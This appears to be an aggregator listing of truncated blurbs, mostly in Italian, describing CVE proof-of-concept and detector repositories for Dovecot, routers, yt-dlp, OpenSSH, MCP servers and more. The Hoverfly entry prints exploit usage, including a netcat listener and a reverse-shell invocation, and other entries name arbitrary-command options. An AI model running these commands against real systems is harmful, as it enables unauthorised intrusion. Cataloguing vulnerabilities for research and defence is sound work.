dovecot: Dovecot: Denial of Service via IMAP ID command with excessive parameters

A flaw was found in Dovecot. An unauthenticated attacker can send an IMAP ID command with a very large number of parameters before logging in. This action causes the server to consume excessive memory and CPU resources, leading to the termination of login processes and other active connections...

CVE-2022-28906-POC

CVE-2022-28906 PoC Proof of concept in Python per l'iniezione di comandi non autenticata nel TOTOLINK N600R. Vulnerabilità Prodotto | TOTOLINK N600R ---|--- Firmware | V5.3c.7159B20190425 Tipo | Iniezione di comandi del sistema operativo CWE-78 Parametro | langType Endpoint | /cgi-bin/cstecgi.cgi...

CVE-2026-35616-detector.py

CVE-2026-35616 - Rilevatore di Vulnerabilità FortiClient EMS Descrizione Questo strumento rileva se un server FortiClient EMS è vulnerabile a CVE-2026-35616 , una vulnerabilità critica di controllo degli accessi improprio che interessa le versioni 7.4.5 fino alla 7.4.6. Punteggio CVSS: 9.1 Critic...

atril_cbt-inject-exploit

CVE-2023-44452, CVE-2023-51698: Vulnerabilità di Esecuzione Remota di Codice tramite Injection di Argomenti nel Parsing di File CBT in Linux Mint Xreader/MATE Atril Una vulnerabilità critica di RCE/Iniezione di Comandi con un solo clic che colpisce popolari sistemi operativi Linux con ambienti...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE Il metodo di sfruttamento originale carica un plugin EMQX e aggiunge al codice del template del plugin la chiamata al modulo Erlang os per eseguire comandi di sistema e ottenere RCE In ambienti con accesso in uscita, dove curl è presente di...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 RCE in MCPJam inspector = 1.4.2 Dettagli della vulnerabilità https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Utilizzo usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help...

CVE-2026-26331

Iniezione Arbitraria di Comandi tramite --netrc-cmd in yt-dlp Gravità: Alta CVSS 8.8 Software Interessato: yt-dlp = 2023.06.21, Corretto in: 2026.02.21 Avviso: GHSA-g3gw-q23r-pgqm CVE: CVE-2026-26331 Riepilogo L'opzione da riga di comando --netrc-cmd di yt-dlp o il parametro API Python netrccmd p...

exploits

exploits Le PoC pubblicate sono disponibili su exploitdb.com Patient Appointment Scheduler System v1.0: Inbit Messenger v4.6.0:...

MAL-009

MAL-009: Concatenazione non sicura dei flag T e TT in Zip per Linux In Zip per Linux, il flag “-TT” può essere utilizzato per eseguire comandi di sistema arbitrari. A causa della natura pericolosa di questo flag, deve essere sempre utilizzato contemporaneamente al flag “-T”. Utilizzando un attacc...

tenda-hg10-rce

CVE-2026-1689 Riepilogo Esiste una vulnerabilità di iniezione di comandi nel router Tenda HG10. Si verifica nell'endpoint formLogin a causa di una gestione impropria del parametro Host. Non vengono verificate credenziali di autenticazione poiché l'esecuzione avviene prima del controllo. L'input...

CVE-2026-26831

CVE-2026-26831: iniezione di comandi del sistema operativo in textract Riepilogo textract fino alla versione 2.5.0 consente l'iniezione di comandi del sistema operativo tramite il percorso del file fornito a molteplici estrattori. Diversi percorsi di codice passano quel percorso del file a...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Utilizzo Esecuzione comandi: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 Dichiarazione di non responsabilità Quest...

EUVD-2026-43174

PraisonAI: Project custom command templates can read outside-workspace files into model prompts...

CVE-2025-10230

CVE-2025-10230 PoC per CVE-2025-10230 - Iniezione di comandi nella hook di Samba WINS La configurazione richiesta per questa vulnerabilità probabilmente non riguarda nessuno. L'iniezione è limitata a 15 caratteri e deve essere un nome WINS valido, quindi niente ;...

telnetd_CVE-2026-24061_tester

Script di Test Telnetd CVE-2026-24061 Uno strumento di test di sicurezza in Python per rilevare la vulnerabilità all'iniezione di variabili d'ambiente nei server telnetd tramite l'opzione telnet NEW-ENVIRON. Panoramica Questo script testa i server telnetd per CVE-2026-24061 , una vulnerabilità ch...

cve-2025-61984-poc

CVE-2025-61984 PoC Dies ist ein Proof of Concept, das einen Zeilenumbruch nutzt, um OpenSSHs 10.1 ProxyCommand zu verwirren. Vollständiger Artikel. So führen Sie es aus Richten Sie eine .ssh/config mit folgendem Inhalt ein: Host .example.com ProxyCommand some-command %r@%h:%p Die Befehlszeile...

CVE-2026-23744-POC

CVE-2026-23744 — RCE non autenticato su server MCP Proof-of-Concept exploit did3vn0mi Panoramica CVE-2026-23744 è una vulnerabilità di Remote Code Execution RCE non autenticata nei server compatibili con MCP esposti sulla porta 6274. L'endpoint /api/mcp/connect accetta un oggetto serverConfig che...

CVE-2026-23520

CVE-2026-23520 PoC di Esecuzione Remota di Comandi RCE tramite API MCP 📌 Panoramica Questo repository contiene un Proof-of-Concept PoC per una vulnerabilità di Esecuzione Remota di Comandi RCE che colpisce applicazioni che espongono un endpoint API MCP vulnerabile comunemente /api/mcp/connect. La...

CVE-2021-24307-all-in-one-seo-pack-admin-rce

RCE tramite unserialization PHP admin in All in one SEO pack CVE-2021-24307 Semplice PoC di una RCE autenticata da admin in AISEO = 4.1.0.1 fornito come esempio. Analisi completa qui: https://darkpills.com/php-unserialize-write-up-with-admin-rce-in-all-in-one-seo-pack-cve-2021-24307/ Utilizzo: ph...

cve-2026-40176-cve-2026-40261

CVE-2026-40176 Esecuzione Remota di Codice RCE nel Repository Perforce di Composer 📋 Riepilogo Vulnerabilità di Iniezione di Comandi nel driver del repository Perforce di Composer che consente l'Esecuzione Remota di Codice RCE tramite una validazione insufficiente dell'input nell'elaborazione...